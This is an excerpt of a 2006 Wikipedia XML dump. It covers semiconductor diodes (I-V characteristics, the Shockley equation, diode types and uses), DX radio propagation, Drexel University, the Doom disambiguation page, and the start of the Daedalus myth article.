A semiconductor diode's current-[[voltage]], or I-V, characteristic curve is ascribed to the behavior of the so-called ''[[depletion zone|depletion layer]]'' or ''depletion zone'' which exists at the [[p-n junction]] between the differing semiconductors.  When a p-n junction is first created, conduction band (mobile) electrons from the N-doped region diffuse into the P-doped region where there is a large population of holes (places for electrons in which no electron is present) with which the electrons &quot;recombine&quot;.  When a mobile electron recombines with a hole, the hole vanishes and the electron is no longer mobile.  Thus, two charge carriers have vanished. The region around the p-n junction becomes depleted of [[charge carrier]]s and thus behaves as an [[nonconductor|insulator]].  However, the [[depletion width]] cannot grow without limit.  For each electron-hole pair that recombines, a positively-charged dopant ion is left behind in the N-doped region, and a negatively charged dopant ion is left behind in the P-doped region.  As recombination proceeds and more ions are created, an increasing electric field develops through the  depletion zone which acts to slow and then finally stop recombination.  At this point, there is a 'built-in' potential  across the depletion zone.  If an external voltage is placed across the diode with the same polarity as the built-in potential, the depletion zone continues to act as an insulator preventing a significant electric current.  However, if the polarity of the external voltage opposes the built-in potential, recombination can once again proceed resulting in substantial electric current through the p-n junction.  For silicon diodes, the built-in potential is approximately 0.6 V.  Thus, if an external current is passed through the diode, about 0.6 V will be developed across the diode such that the P-doped region is positive with respect to the N-doped region and the diode is said to be 'turned on'.

[[Image:Rectifier_vi_curve.GIF|frame|right|I-V characteristics of a P-N junction diode (not to scale).]]
A diode's I-V characteristic can be approximated by two regions of operation.  Below a certain difference in potential between the two leads, the depletion layer has significant width, and the diode can be thought of as an open (non-conductive) circuit.  As the potential difference is increased, at some stage the diode will become conductive and allow charges to flow, at which point it can be thought of as a connection with zero (or at least very low) resistance.  More precisely, the [[transfer function]] is [[logarithm]]ic, but so sharp that it looks like a corner on a zoomed-out graph (''see also'' [[signal processing]]).

In a normal silicon diode at rated currents, the voltage drop across a conducting diode is approximately 0.6 to 0.7 [[volt]]s.  The value is different for other diode types - [[Schottky diode]]s can be as low as 0.2 V and [[light-emitting diode]]s (LEDs) can be 1.4 V or more depending on the current. Blue LEDs can be up to 4.0 V, depending on the type and current. There is a substantial variation in forward current of LEDs, based on the manufacturing process. They are often binned, to lower the variation in sensitive applications.

Referring to the I-V characteristics image, in the reverse bias region for a normal P-N rectifier diode, the current through the device is very low (in the &amp;micro;A range) for all reverse voltages upto a point called the peak-inverse-voltage (PIV). Beyond this point a process called reverse breakdown occurs which causes the device to be damaged along with a large increase in current. For special purpose diodes like the avalanche or zener diodes, the concept of PIV is not applicable since they have a deliberate breakdown beyond a known reverse current such that the reverse voltage is &quot;clamped&quot; to a known value (called zener voltage). The devices however have a maximum limit to the current and power in the zener or avalanche region.

===Shockley diode equation===

The ''Shockley ideal diode equation'' (named after [[William Shockley|William Bradford Shockley]]) can be used to approximate the p-n diode's I-V characteristic.

:&lt;math&gt;I=I_\mathrm{S} \left( {e^{qV_\mathrm{D} \over nkT}-1} \right)\,&lt;/math&gt;,

where ''I'' is the diode current, ''I''&lt;sub&gt;S&lt;/sub&gt; is a scale factor called the ''saturation current'', ''q'' is the charge on an [[electron]] (the ''elementary charge''), ''k'' is [[Boltzmann's constant]], ''T'' is the absolute temperature of the p-n junction and ''V''&lt;sub&gt;D&lt;/sub&gt; is the voltage across the diode.  The term ''kT''/''q'' is the ''thermal voltage'', sometimes written ''V''&lt;sub&gt;T&lt;/sub&gt;, and is approximately 26 mV at room temperature.  ''n'' (sometimes omitted) is the ''emission coefficient'', which varies from about 1 to 2 depending on the fabrication process and semiconductor material.

It is possible to use shorter notation. Putting
:&lt;math&gt;\frac{k T}{q} = V_\mathrm{T}&lt;/math&gt;
and &lt;math&gt;n=1&lt;/math&gt; the relationship of the diode becomes:
:&lt;math&gt;I=I_\mathrm{S} \left( {e^{V_\mathrm{D} \over V_\mathrm{T}}-1} \right)\,&lt;/math&gt;
where &lt;math&gt;V_\mathrm{T} = 26 mV&lt;/math&gt; (at room temperature) is a known constant.

== Types of semiconductor diode ==
{{float_begin|side=right}}
|- align = &quot;center&quot;
| [[Image:Small diode symbol.png]]
|width = &quot;25&quot;|
| [[Image:LED symbol.png]]
|width = &quot;25&quot;|
| [[Image:Zener diode symbol.png]]
|width = &quot;25&quot;|
| [[Image:Schottky diode symbol.png]]
|- align = &quot;center&quot;
| Diode
|
| Light-Emitting&lt;br/&gt; Diode
|
| Zener&lt;br/&gt; Diode
|
| Schottky&lt;br/&gt; Diode
{{float_end|caption=Some diode symbols}}

There are several types of semiconductor junction diodes:
; Normal (p-n) diodes
: which operate as described above.  Usually made of doped [[silicon]] or, more rarely, [[germanium]]. Before the development of modern silicon power rectifier diodes, [[cuprous oxide]] and later [[selenium]] was used; its low efficiency gave it a much higher forward voltage drop (typically 1.4 - 1.7 V per &quot;cell,&quot; with multiple cells stacked to increase the peak inverse voltage rating in high voltage rectifiers), and required a large heat sink (often an extension of the diode's metal substrate), much larger than a silicon diode of the same current ratings would require.
; '[[Gold]] doped' diodes
:  The gold causes 'minority carrier suppression.' This lowers the effective capacitance of the diode, allowing it to operate at signal frequencies.  A typical example is the 1N914.  [[Germanium]] and Schottky diodes are also fast like this, as are bipolar [[transistor]]s 'degenerated' to act as diodes.  Power supply diodes are made with the expectation of working at a maximum of 2.5 x 400 Hz (sometimes called 'French power' by Americans), and so are not useful above a kilohertz.
; [[Zener diode]]s 
: ([[International Phonetic Alphabet for English|pronounced]] {{IPA|/ziːn&amp;#601;r/}}) Diodes that can be made to conduct backwards.  This effect, called Zener breakdown, occurs at a precisely defined voltage, allowing the diode to be used as a precision voltage reference. In practical voltage reference circuits Zener and switching diodes are connected in series and opposite directions to balance the temperature coefficient to near zero.  Some devices labeled as high-voltage Zener diodes are actually avalanche diodes (see below).  Two (equivalent) Zeners in series and in reverse order, in the same package, constitute a transient absorber (or [[Transorb]], a registered trademark).  They are named for Dr. [[Clarence Melvin Zener]] of Southern Illinois University, inventor of the device.
; [[Avalanche diode]]s
: diodes that conduct in the reverse direction when the reverse bias voltage exceeds the breakdown voltage.  These are electrically very similar to Zener diodes, and are often mistakenly called Zener diodes, but break down by a different mechanism, the ''avalanche effect''.  This occurs when the reverse electric field across the p-n junction causes a wave of ionization, reminiscent of an avalanche, leading to a large current.  Avalanche diodes are designed to break down at a well-defined reverse voltage without being destroyed.  The difference between the avalanche diode (which has a reverse breakdown above about 6.2 V) and the Zener is that the channel length of the former exceeds the 'mean free path' of the electrons, so there are collisions between them on the way out.  The only practical difference is that the two types have temperature coefficients of opposite polarities.  
;; [[Transient]] voltage suppression (TVS) diodes
;: These are avalanche diodes designed specifically to protect other semiconductor devices from [[electrostatic discharge]]s.  Their p-n junctions have a much larger cross-sectional area than those of a normal diode, allowing them to conduct large currents to ground without sustaining damage.
; [[Photodiode]]s
: Semiconductors are subject to optical [[charge carrier]] generation and therefore most are packaged in light blocking material. If they are packaged in materials that allow light to pass, their photosensitivity can be utilized. Photodiodes can be used as [[solar cell]]s, and in photometry.   
; [[Light-emitting diode]]s ([[LED]]s)
: In a diode formed from a [[Direct_bandgap|direct band-gap]] semiconductor, such as [[gallium arsenide]], carriers that cross the junction emit [[photons]] when they recombine with the majority carrier on the other side. Depending on the material, [[wavelength]]s (or colors) from the [[infrared]] to the near [[ultraviolet]] may be produced. The forward potential of these diodes depends on the [[wavelength]] of the emitted photons: 1.2 V corresponds to red, 2.4 to violet.  The first LEDs were red and yellow, and higher-frequency diodes have been developed over time. All LEDs are monochromatic; 'white' LEDs are actually combinations of three LEDs of a different color, or a blue LED with a yellow [[scintillator]] coating. LEDs can also be used as low-efficiency photodiodes in signal applications. An LED may be paired with a photodiode or phototransistor in the same package, to form an [[opto-isolator]]. 
; [[Laser diode]]s
: When an LED-like structure is contained in a [[optical cavity|resonant cavity]] formed by polishing the parallel end faces, a [[laser]] can be formed. Laser diodes are commonly used in [[optical storage]] devices and for high speed [[optical communication]].  
; [[Schottky diode]]s
:  have a lower forward voltage drop than a normal PN junction, because they are constructed from a metal to semiconductor contact. Their forward voltage drop at forward currents of about 1 mA is in the range 0.15 V to 0.45 V, which makes them useful in voltage [[Clamper|clamping applications]] and prevention of transistor saturation. They can also be used as low loss [[rectifiers]] although their reverse leakage current is generally much higher than non Schottky rectifiers. Schottky diodes are [[majority carrier]] devices and so do not suffer from minority carrier storage problems that slow down most normal diodes. They also tend to have much lower junction capacitance than PN diodes and this contributes towards their high switching speed and their suitability in high speed circuits and RF devices such as mixers and detectors.
; [[Snap-off]] or 'step recovery' diodes
: The term 'step recovery' relates to the form of the reverse recovery characteristic of these devices. After a forward current has been passing in an [[SRD]] and the current is interrupted or reversed, the reverse conduction will cease very abruptly (as in a step waveform). SRDs can therefore provide very fast voltage transitions by the very sudden disappearance of the charge carriers.
; [[Esaki]] or [[tunnel diode]]s
: these have a region of operation showing [[negative resistance]] caused by quantum tunneling, thus allowing amplification of signals and very simple bistable circuits. These diodes are also the type most resistant to nuclear radiation.
; [[Gunn diode]]s
: these are similar to tunnel diodes in that they are made of materials such as GaAs or InP that exhibit a region of [[negative resistance|negative differential resistance]]. With appropriate biasing, dipole domains form and travel across the diode, allowing high frequency [[microwave]] [[electronic oscillator|oscillators]] to be built.
; [[Peltier–Seebeck effect|Peltier diodes]]
: are used as sensors, [[heat engines]] for [[thermoelectric cooling]].  Charge carriers absorb and emit their band gap energies as heat.&lt;br /&gt;There are other types of diodes, which all share the basic function of allowing electrical current to flow in only one direction, but with different methods of construction.
; Point-contact diode
: This works the same as the junction semiconductor diodes described above, but its construction is simpler.  A block of n-type semiconductor is built, and a conducting sharp-point contact made with some group-3 metal is placed in contact with the semiconductor. Some metal migrates into the semiconductor to make a small region of p-type semiconductor near the contact.  The long-popular 1N34 germanium version is still used in radio receivers as a detector and occasionally in specialized analog electronics. 
; [[Varicap]] or [[varactor diode]]s
: These are used as voltage-controlled [[capacitors]].  These were important in PLL ([[phase-locked loop]]) and FLL ([[frequency-locked loop]]) circuits, allowing tuning circuits, such as those in television receivers, to lock quickly, replacing older designs that took a long time to warm up and lock.  A PLL is faster than a FLL, but prone to integer harmonic locking (if one attempts to lock to a broadband signal). They also enabled tunable oscillators in early discrete tuning of radios, where a cheap and stable, but fixed-frequency, crystal oscillator provided the reference frequency for a [[voltage-controlled oscillator]].
; PIN diodes
: have a central un-doped layer.  They are used as radio frequency switches, similar to varactor diodes but with a more sudden change in capacitance.  They are also used as large volume ionizing radiation ditectors.
; [[Current-limiting diode|Current-limiting field-effect diodes]]
: These are actually a [[JFET]] with the gate shorted to the source, and function like a two-terminal current-limiting analog to the Zener diode; they allow a current through them to rise to a certain value, and then level off at a specific value.  Also called '''CLDs''', '''constant-current diodes''', or '''current-regulating diodes'''. [http://www.avtechpulse.com/faq.html/IV.5/], [http://www.aemarketing.co.uk/Central/curlimitdiodes/applicsCLD.pdf]

Other uses for semiconductor diodes include sensing temperature, and computing analog [[logarithm]]s (see [[Operational amplifier applications#Logarithmic]]).

== Related devices ==
* [[Thyristor]] or silicon controlled rectifier (SCR)
* [[TRIAC]]
* [[DIAC|Diac]]
* [[Transistor]]

== Applications ==
=== Radio demodulation ===
The first use for the diode was the demodulation of [[amplitude modulation|amplitude modulated]] (AM) radio broadcasts.  The history of this discovery is treated in depth in the '''[[radio]]''' article.  In summary, an AM signal consists of alternating positive and negative peaks of voltage, whose [[amplitude]] or 'envelope' is proportional to the original audio signal, but whose average value is zero.  The diode rectifies the AM signal (i.e. it eliminates peaks of one polarity), leaving a signal whose average amplitude is the desired audio signal.  The average value is extracted using a simple [[electronic filter|filter]] and fed into an audio [[transducer]] (originally a [[crystal earpiece]], now more likely to be a [[loudspeaker]]), which generates sound.

=== Power conversion ===
'''[[Rectifier]]s''' are constructed from diodes, where they are used to convert [[alternating current]] (AC) electricity into [[direct current]] (DC). Similarly, diodes are also used in '''[[Cockcroft-Walton generator|Cockcroft-Walton]] voltage multipliers''' to convert AC into very high DC voltages. 

=== Over-voltage protection ===
Diodes are frequently used to conduct damaging high voltages away from sensitive electronic devices. They are usually reverse-biased (non-conducting) under normal circumstances, and become forward-biased (conducting) when the voltage rises above its normal value.  For example, diodes are used in [[stepper motor]] and [[relay]] circuits to de-energize coils rapidly without the damaging voltage spikes that would otherwise occur.  Many [[integrated circuits]] also incorporate diodes on the connection pins to prevent external voltages from damaging their sensitive transistors.  Specialized diodes are used to protect from over-voltages at higher power (see [[#Diode_types|Diode types]] above).

=== Logic gates ===
Diodes can be combined with other components to construct [[logical conjunction|AND]] and [[logical disjunction|OR]] [[logic gate]]s.

=== [[Ionising radiation]] [[detector]]s ===
In addition to light, mentioned above, [[semiconductor]] diodes are sensitive to more [[energy|energetic]] radiation.  In [[electronics]], [[cosmic ray]]s and other sources of ionising radiation cause [[noise]] [[pulse]]s and single and multiple bit errors.
This effect is sometimes exploited by [[particle detector]]s to detect radiation.  A single particle of radiation, with thousands or millions of [[electron volt]]s of energy, generates many charge carrier pairs, as its energy is deposited in the semiconductor material.  If the depletion layer is large enough to catch the whole shower or to stop a heavy particle, a fairly accurate measurement of the particle's energy can be made, simply by measuring the charge conducted and without the complexity of a magnetic spectrometer or etc.
These semiconductor radiation detectors need efficient and uniform charge collection and low leakage current.  They are often cooled by [[liquid nitrogen]].  For longer range (about a centimetre) particles they need a very large depletion depth and large area.  For short range particles, they need any contact or un-depleted semiconductor on at least one surface to be very thin.  The back-bias voltages are near breakdown (around a thousand volts per centimetre).  Germanium and silicon are common materials.  Some of these detectors sense position as well as energy.
They have a finite life, especially when detecting heavy particle, because of radiation damage.  Silicon and germanium are quite different in their ability to convert [[gamma ray]]s to electron showers.

[[Semiconductor detector]]s for high energy particles are used in large numbers.  Because of [[energy loss fluctuation]]s, accurate measurement of the energy deposited is of less use.

=== Temperature measuring ===
A diode can be used as a [[temperature]] measuring device, since the forward voltage drop across the diode depends on temperature. This temperature dependence follows from the Shockley ideal diode equation given above.

=== [[Charge-coupled device|Charge coupled devices]] ===
Digital cameras and similar units use arrays of photo diodes, integrated with readout circuitry.

==See also==
*[[Diode modelling]]

== External links ==

* [http://www.avtechpulse.com/faq.html/ The Unusual Diode FAQ]

[[Category:Diodes| ]]

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    </revision>
  </page>
  <page>
    <title>DX communication</title>
    <id>8255</id>
    <revision>
      <id>39752874</id>
      <timestamp>2006-02-15T17:07:22Z</timestamp>
      <contributor>
        <username>Blainster</username>
        <id>31831</id>
      </contributor>
      <comment>add link to amateur dx'ing, add cats &amp; move to end</comment>
      <text xml:space="preserve">'''DX communication''' is communication over great distances using the [[ionosphere]] to refract the transmitted [[radio]] beam. The beam returns to the Earth's surface, and may then be reflected back into the ionosphere for a second bounce. Ionospheric refraction is generally only feasible for frequencies below about 50 MHz, and is highly dependent upon atmospheric conditions, the time of day, and the eleven-year [[sunspot]] cycle. It is also affected by [[solar storm]]s and some other solar events, which can alter the Earth's ionosphere by ejecting a shower of charged particles.

The angle of refraction places a minimum on the distance at which the refracted beam will first return to Earth. This distance increases with frequency. As a result, any station employing DX will be surrounded by an annular ''dead zone'' where they can't hear other stations or be heard by them.

This is the phenonenon that allows [[short wave]] radio reception to occur beyond the limits of line of sight.  It is utilized by [[amateur radio]] enthusiasts (hams), shortwave broadcast stations (such as [[BBC]] and [[Voice of America]]) and others.  This is what allows you to hear AM (MW) stations from locations far from your location.  It is the only backup to failure of long distance communication by satellites, when their operation is affected by [[electromagnetic]] storms from the sun.

== See also ==
*[[TV-FM DX]]
*[[MW DX]]
*[[DX station]]


[[Category:Radio]]
[[Category:Wireless communications]]
[[Category:radio frequency propagation]]
[[Category:Amateur radio]]
[[Category:Radio Hobbies]]</text>
    </revision>
  </page>
  <page>
    <title>Drexel University</title>
    <id>8256</id>
    <revision>
      <id>40649678</id>
      <timestamp>2006-02-22T01:37:17Z</timestamp>
      <contributor>
        <username>Quarl</username>
        <id>59118</id>
      </contributor>
      <comment>/* Student Newspaper */ «&quot;The Triangle&quot; → &quot;'''The Triangle'''&quot;»</comment>
      <text xml:space="preserve">{{Infobox_University
|name= Drexel University
|image=[[Image:Drexel_seal.jpg|The Drexel Seal]]
|motto= Science, Industry, Art
|established=[[1891]]|
type=[[Private school|Private]]|
president=[[Constantine Papadakis]]|
city=[[Philadelphia, Pennsylvania|Philadelphia]]|
state=[[Pennsylvania]]|
country=[[United States|USA]]|
undergrad=11,613|
[[Financial endowment|endowment]]=500 Million |
postgrad=5,387|
staff=1,308| 
campus=[[Urbanization|Urban]]|
colors=Blue and Gold|
free_label=Athletics|
free=16 varsity teams, 20 sports clubs|
mascot=[[European dragon|Dragon]], &quot;Mario the Magnificent&quot;|
website=http://www.drexel.edu|
footnotes= |
}}
'''Drexel University''' is an institution of higher learning located in [[Philadelphia]], [[Pennsylvania]].  The school was founded in [[1891]] by [[Anthony J. Drexel]], a noted [[financier]] and [[philanthropist]]. The current president is [[Constantine Papadakis]].

==History==
[[Image:Drexel Main Building.jpg|thumb|left|The Main Building, dedicated in 1891.]]Drexel University was founded in 1891 as the Drexel Institute of Art, Science and Industry by Philadelphia financier and philanthropist Anthony J. Drexel to provide educational opportunities in the “practical arts and sciences” for women and men of all backgrounds. The Drexel Institute of Technology gained university status in 1970, becoming Drexel University. On July 1, 2002, Drexel was officially united with the former MCP Hahnemann University.  Drexel has also recently begun work on a new Law School, which will open in the autumn of 2006.
&lt;br clear=&quot;all&quot;&gt;

==Academics==
[[Image:Drexel-logo.gif|right|Drexel University Logo]]
Drexel University is known for its engineering school, which includes The Drexel Engineering Curriculum, or &quot;tDEC&quot; for short.  tDEC is a rigorous series of online and offline courses designed to prepare students for future engineering work.  Each year more than one percent of the graduating engineers in the United States get their degree from Drexel.

===Colleges===
*Antoinette Westphal College of Media Arts &amp; Design
*Bennett S. LeBow College of Business
*College of Arts and Sciences
*College of Engineering   
*College of Information Science and Technology   
*College of Law (opening Fall 2006)
*College of Medicine   
*College of Nursing and Health Professions   
*Goodwin College of Professional Studies
*Pennoni Honors College

===Schools===
*School of Biomedical Engineering, Science and Health Systems   
*School of Education   
*School of Public Health

===Most popular majors===
*Business Administration: 2,187 enrolled
*General Information Systems: 650
*Mechanical Engineering: 600
*Computer Science: 537
*Biology: 385
&lt;/td&gt;
&lt;font color=&quot;skyblue&quot; size=&quot;-1&quot;&gt;Source:  [http://www.drexel.edu/provost/ir/factbook/ Drexel University Factbook]&lt;/font&gt;

==Branch campuses==
Drexel University's campus is divided into three parts: the University City Campus, the Center City Hanneman Campus, and the Queen Lane College of Medicine Campus.  The latter two are recent acquisitions by the university.

==Co-op program==
Branded as the Ultimate Internship™, Drexel's cooperative education program is one of the largest in the nation.  Drexel has a fully internet-based job database, where users can submit resumes and request interviews with any of the hundreds of companies that are offering positions.  A student graduating from Drexel with a 5-year degree typically has a total of 18 months of internship with up to three different companies.  Major co-op employers include:

*[[Sunoco|Sunoco Inc.]]
*[[GlaxoSmithKline]]
*[[Unisys Corporation]]
*[[Lockheed Martin]]
*[[Comcast Corporation]]
*[[Merck]]
*[[Dupont]]
*[[University of Pennsylvania]]

==Drexel Art==
Drexel maintains three art galleries on its main campus. 

The Drexel Collection is housed in the Westphal Picture Gallery, on the third floor of the Main Building.  The collection was established by the university's founder, [[Anthony J. Drexel]], who collected many types of art.  The collection continued to receive donations after his death from family, friends, and alumni.  The collection has a large variety of artifacts, including porcelains and furniture.

The Leonard Pearlstein Gallery is an aluminum and slate structure connected to Nesbitt Hall (the building for the College of Media Arts and Design) in which art exhibitions are frequently held.  The slate side of the building is frequently covered with chalk messages about upcoming events.

==Residence Halls==
Drexel requires all non-commuting freshmen to live in one of the six (soon to be seven) freshmen residence halls.  Kelly Hall, Myers Hall, Towers Hall, and Calhoun are traditional dormitories, while East Hall and Van Rensselaer are arranged into suites of 4-6 residents.  East Hall and Van R. are currently designated for students of the Penonni Honors College.  All dormitories except East Hall are located on the north side of campus, north of Arch Street, in the area of [[Powelton Village]].  Drexel's continued efforts to expand the university and the dormitories have brought them into conflict with the Powelton Village Community Association, which has attempted to block dormitory construction on several occasions.

For upperclassmen North Hall is the only on-campus housing available.  Most students find apartments within Powelton Village.  Academic Properties Inc., a subsidary of Drexel, offers apartments, and there are also apartments in the nearby University Crossings building, which was previously owned by [[Amtrak]] and used as office buildings.

==Drexel Achievement==
Drexel has been ranked among the &quot;Best National Universities-Top Schools&quot; by a U.S. News &amp; World yearly report on &quot;America's Best Colleges&quot;.  The 2006 rankings (released in 2005) placed Drexel as 109th.  Drexel and [[University of Pennsylvania|Penn]] are the only Philadelphia colleges in this category.

Drexel frequently ranks among the top 25 schools in the nation for technology use according to [[The Princeton Review]] and [[Intel|The Intel Corporation]], and was ranked first for wireless access by [[Yahoo!]].

The Math Forum@Drexel has been selected as one of the most useful websites by [[PC Magazine]] and [[Scientific American]].

The universities [[financial endowment|endowment]] is currently over $500 million, placing it 108th among all U.S. colleges and Universities. (data from The Chronicle of Higher Education 2002-03)

Drexel is the 18th largest private university in the U.S., with an enrollment of 17,500 students.  (data from the National Center for Educational Statistics 2001-02).

==Student Newspaper==
[[Image:trianglelogo.jpg|150px|right]]  

'''''The Triangle''''' is the independent student newspaper at Drexel University. Operation began in [[1926]], under the direction of students with University advisors functioning only to offer advice. Publication has been on a weekly schedule during the academic school year with bi-weekly publication during summer.  The Triangle recently began publishing in color in [[2004]]. Notable former columnists include [[Chuck Barris]], creator of ''[[The Gong Show]]'' and subject of the movie ''[[Confessions of a Dangerous Mind]]''.

The current Editor-in-chief is Diana Stow.

==Sports==
&lt;div style=&quot;float:right&quot;&gt;
[[Image:Drexel.png]]&lt;br /&gt;
&lt;small&gt;''Logo is a trademark&lt;br /&gt; of Drexel University''&lt;/small&gt;&lt;/div&gt;

The school's sports teams are called the [[Drexel Dragons|Dragons]].  They participate in the [[NCAA]]'s Division I-A and the [[Colonial Athletic Association]].
Drexel participates in the following sports:

Men's:
*Basketball
*Crew
*Golf
*Lacrosse
*Soccer
*Swimming and Diving
*Tennis
*Wrestling

Women's:
*Basketball
*Crew
*Field Hockey
*Lacrosse
*Soccer
*Softball
*Swimming and Diving
*Tennis

==Student lore and traditions==
When students think they are being mistreated by the University, they often refer to it as getting the [[Drexel Shaft]].  The Drexel Shaft is also a smokestack structure on the rail yard next to the campus, and according to university legend the structure grows one more inch every time a student is shafted.

To receive good grades on exams, a myth is to rub the toe of the bronze &quot;Waterboy&quot; statue located in the Main Building on campus.  Although the rest of the bronze statue has turned dark brown, the toe has become highly polished and shines.

==Trivia==
*Drexel University's campus is located right next to the [[University of Pennsylvania]] in [[University City, Pennsylvania|University City]], [[Philadelphia]].

*In the 2005 Princeton Review, under the category of &quot;Campus Is Tiny, Unsightly, Or Both&quot;, Drexel was ranked 2nd. It is presently in the middle of several renovations to rectify this situation.

*A feature of the main quad is a water fountain bearing the ironic name &quot;The Flame of Knowledge&quot;.

==Notable Alumni==
*[[Michael Anderson]]: [[National Basketball Association|NBA]] Player.
*[[Paul Baran]]: A founding father of the [[Internet]].
*[[Chuck Barris]]: Entertainer, creator of [[The Gong Show]].
*[[Michael Behe]]: A leading proponent of [[Intelligent Design]].
*[[Douglas Briggs]]: President of [[QVC]].
*George Campbell: President of [[Cooper Union|The Cooper Union]].
*[[Albert Carnesale]]: Chancellor of the [[University of California at Los Angeles]].
*[[Ruth Hale (feminist)]]: Fought for women's rights in 1920s; member of the [[Algonquin Round Table]].
*[[Jon &quot;maddog&quot; Hall]]: [[Open Source]] Developer and Advocate.
*Robert Hall: Publisher of ''[[The Philadelphia Inquirer]]'' and ''[[Philadelphia Daily News]]''.
*[[Bennett S. LeBow]]: Maverick CEO of the Vector Group and broker of the landmark tobacco settlement by corporate subsidiary Liggett &amp; Myers.
*[[Peter Liacouras]]: Former president (18 years) of [[Temple University]].
*[[Peter Mafany Musonge]]: Prime minister of [[Cameroon]].
*[[Malik Rose]]: [[National Basketball Association|NBA]] Player.
*[[Joseph Woodland]]: Inventor of the [[bar code]] technology.

==External links==
*[http://www.drexel.edu www.drexel.edu (Drexel University homepage)]
*[http://www.drexeldragons.com www.drexeldragons.com (Official Drexel athletics site)]
*[http://www.dacpack.com www.dacpack.com (Official Basketball Student Section Site)]
*[http://www.library.drexel.edu/services/archives/campus_map/default.html Campus map, and images of buildings]
*[http://www.library.drexel.edu/archives/history/ Information about the history of Drexel University]
*[http://camille02.tripod.com/shaft.html The Good 'ole Drexel Shaft]
*[http://www.pages.drexel.edu/~emb29/Campus.html Photos from the campus, including The Shaft]
*[http://www.wkdu.org/ 91.7 WKDU, Drexel University radio station]
*[http://www.thetriangle.org/ The Triangle, Drexel University student newspaper]
*[http://www.drexel.edu/drexelcollection/about.asp The Drexel Collection]

{{Colonial Athletic Association}}

{{Association of Independent Technological Universities}}

[[Category:Universities and colleges in Philadelphia]]
[[Category:Schools of Medicine in the United States]]</text>
    </revision>
  </page>
  <page>
    <title>Doom (disambiguation)</title>
    <id>8257</id>
    <revision>
      <id>36014214</id>
      <timestamp>2006-01-20T22:31:24Z</timestamp>
      <contributor>
        <username>Briguy52748</username>
        <id>244115</id>
      </contributor>
      <comment>Legion of Doom professional wrestlers</comment>
      <text xml:space="preserve">{{wiktionarypar|doom}}
In history:
*[[dōm]] (pronounced &quot;doom&quot;) is the [[Anglo-Saxon]] word meaning &quot;[[judgement]]&quot;, &quot;[[law]]&quot; 
* [[Doom (painting)]], a painting that depicts the [[Last Judgment]].

In popular culture:
* ''[[Doom]]'', a first-person shooter computer game
* [[Doom (film)]], a movie based on the series of the same computer game
* [[Doom (band)]], a band from West Yorkshire credited with founding Crust punk
* [[Doom metal]], a subgenre of heavy metal
* ''[[Indiana Jones and the Temple of Doom]]'', a movie directed by Stephen Spielberg and starring Harrison Ford
* [[Doctor Doom]], a fictional supervillain from the comic book Fantastic Four
* [[Judge Doom]], the villain of the movie ''Who Framed Roger Rabbit''
* The [[Legion of Doom]]:
** A group of supervillains from the animated series ''Super Friends''
** The name used by the [[Road Warriors]] professional wrestling [[tag team]] while they wrestled for the [[World Wrestling Entertainment|World Wrestling Federation]].

{{disambig}}

[[sl:Doom (razločitev)]]</text>
    </revision>
  </page>
  <page>
    <title>Daedalus</title>
    <id>8258</id>
    <revision>
      <id>42124316</id>
      <timestamp>2006-03-03T23:56:45Z</timestamp>
      <contributor>
        <username>Flauto Dolce</username>
        <id>30706</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Samos]] to [[Samos Island]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">''This article deals with the mythological character Daedalus. For other uses of the name, see [[Daedalus (disambiguation)]].''
[[Image:Landon-IcarusandDaedalus.jpg|right|thumb|250px|''Daedalus and Icarus'', by [[Charles Paul Landon]], 1799 (Musée des
Beaux-Arts et de la Dentelle, Alençon)]]

In [[Greek mythology]], '''Daedalus''' (Latin, also Hellenized Latin  '''Daedalos''', Greek '''Daidalos''' and Etruscan '''Taitle''') was a most skillful artificer  and was even said to have first invented images. He built for [[Ariadne]] a wide dancing-ground (''Iliad'' xviii.591), and Homer also still calls her by her Cretan name, the &quot;Lady of the [[Labyrinth]]&quot; (''Iliad'' xviii.96) which Daedalus also made, in which the [[Minotaur]] was kept and from which [[Theseus]] escaped by means of the thread clue of Ariadne.  Ignoring Homer, later writers envisaged the labyrinth as an edifice, and rather than a single path to the center and out again, gave it numberless winding passages and turnings opening into one another, seeming to have neither beginning nor end (see [[labyrinth]]).  Daedalus built it for King [[Minos]], who needed the labyrinth to imprison his wife's son: [[Asterius]], the [[Minotaur]].  Daedalus had built for Minos' wife, [[Pasiphae]], a wooden cow so she could mate with the bull, for the Greeks imagined the Minoan [[Bull (mythology)|bull of the sun]] to be an actual, earthly bull.

Daedalus afterwards was shut up in a tower to prevent his knowledge of the labyrinth from spreading to the public. He could not leave Crete by sea, as the king kept strict watch on all the vessels, and permitted none to sail without being carefully searched.  Since Minos controlled the land and sea routes, Daedalus set to work to fabricate wings for himself and his young son [[Icarus (mythology)|Icarus]].  He tied feathers together beginning with the smallest and adding larger, so as to form an increasing surface.  The larger ones he secured with thread and the smaller with wax, and gave the whole a gentle curvature like the wings of a bird.  When at last the work was done, the artist, waving his wings, found himself buoyed upward and hung suspended, poising himself on the beaten air.  He next equipped his son in the same manner, and taught him how to fly.  When both were prepared for flight, Daedalus warned Icarus not to fly too high, because the heat of the sun would melt the wax, nor too low because the sea foam would make the wings wet and they would no longer fly.  Then the father and son flew away.
[[Image:PBrueghelElderIcarus.jpg|thumb|360px|''The Fall of Icarus'' (detail) by [[Peter Brueghel the Elder]], ca. 1558]]
They had passed [[Samos Island|Samos]], [[Delos]] and [[Lebynthos]] when the boy began to soar upward as if to reach heaven. The blazing sun softened the wax which held the feathers together, and they came off.  Icarus fell into the sea.  His father cried and bitterly lamenting his own arts, called the land near the place where Icarus fell into the ocean [[Icaria]] in memory of his child.  Daedalus arrived safe in [[Sicily]] in the care of King [[Cocalus]], where he built a temple to [[Apollo (god)|Apollo]], and hung up his wings, an offering to the god.

Minos, meanwhile, searched for Daedalus by travelling from city to city asking a riddle.  He presented a spiral seashell and asked for it to be strung all the way through.  When he reached [[Camicus]], King Cocalus, knowing Daedalus would be able to solve the riddle, fetched the old man.  He tied the string to an ant, which walked through the seashell, stringing it all the way through.  Minos then knew Daedalus was in the court of King Cocalus and demanded he be handed over.  Cocalus managed to convince Minos to take a bath first.  Cocalus' daughters then killed Minos.

